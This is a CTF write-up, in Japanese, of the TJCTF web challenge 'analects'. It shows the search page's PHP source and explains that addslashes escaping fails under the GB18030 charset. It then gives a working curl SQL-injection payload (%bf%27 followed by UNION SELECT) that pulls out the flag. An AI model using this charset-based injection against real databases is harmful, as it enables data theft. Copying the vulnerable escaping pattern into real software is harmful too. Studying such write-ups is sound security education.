Skip to content

Latest commit

 

History

History

analects

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

analects:web:246pts

confucius was a cool guy I think he said some things
analects.tjc.tf

Downloads
server.zip

Solution

サイトとソースが渡される。
Analects of Confucius
site.png
論語の検索サイトのようだ。
ソースを見るとphpは以下のようであった。

<?php

  mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

  function search() {
    $ret = [];

    if (!isset($_GET["q"])) {
      return $ret;
    }

    $db = new mysqli("p:mysql", "app", "07b05ee6779745b258ef8dde529940012b72ba3a007c7d40a83f83f0938b5bf0", "analects");

    $query = addslashes($_GET["q"]);
    $sql = "SELECT * FROM analects WHERE chinese LIKE '%{$query}%' OR english LIKE '%{$query}%'";
    $result = $db->query($sql);

    while ($row = $result->fetch_assoc()) {
      $row["chinese"] = mb_convert_encoding($row["chinese"], "UTF-8", "GB18030");
      $row["english"] = mb_convert_encoding($row["english"], "UTF-8", "GB18030");
      array_push($ret, $row);
    }
    $result->free_result();

    return $ret;
  }

  header('Content-Type: application/json; charset=UTF-8');
  echo json_encode(search());
?>

SQLiが可能かと疑うが、addslashesに通っており安全に見える。
ここで、GB18030という文字コードが使われていることに注目する。
配布された1-dump.sqlにもCHARSET=gb18030とされている。
よく知られているaddslashesの文字コードを利用したSQLiである。
入力として%bf%27を考えると'(%27)をエスケープするため\'(%5c%27)へ置換する。
全体として%bf%5c%27となるが、先頭の%bf%5cが中国語のマルチバイト文字と解釈され、サニタイズに失敗する。
これによりSQLiが可能となったので、ソースの3-flag.shよりわかるflagを取得すればよい。

$ curl "https://analects.tjc.tf/search.php?q=%bf%27%20UNION%20SELECT%201,%201,%201,%201,%201,%20flag%20FROM%20flag%20--%20satoki"
[{"id":"1","book":"1","chapter":"1","number":"1","chinese":"1","english":"tjctf{h0w_t0_h4v3_go0d_mor4l5??}"}]

flagが得られた。

tjctf{h0w_t0_h4v3_go0d_mor4l5??}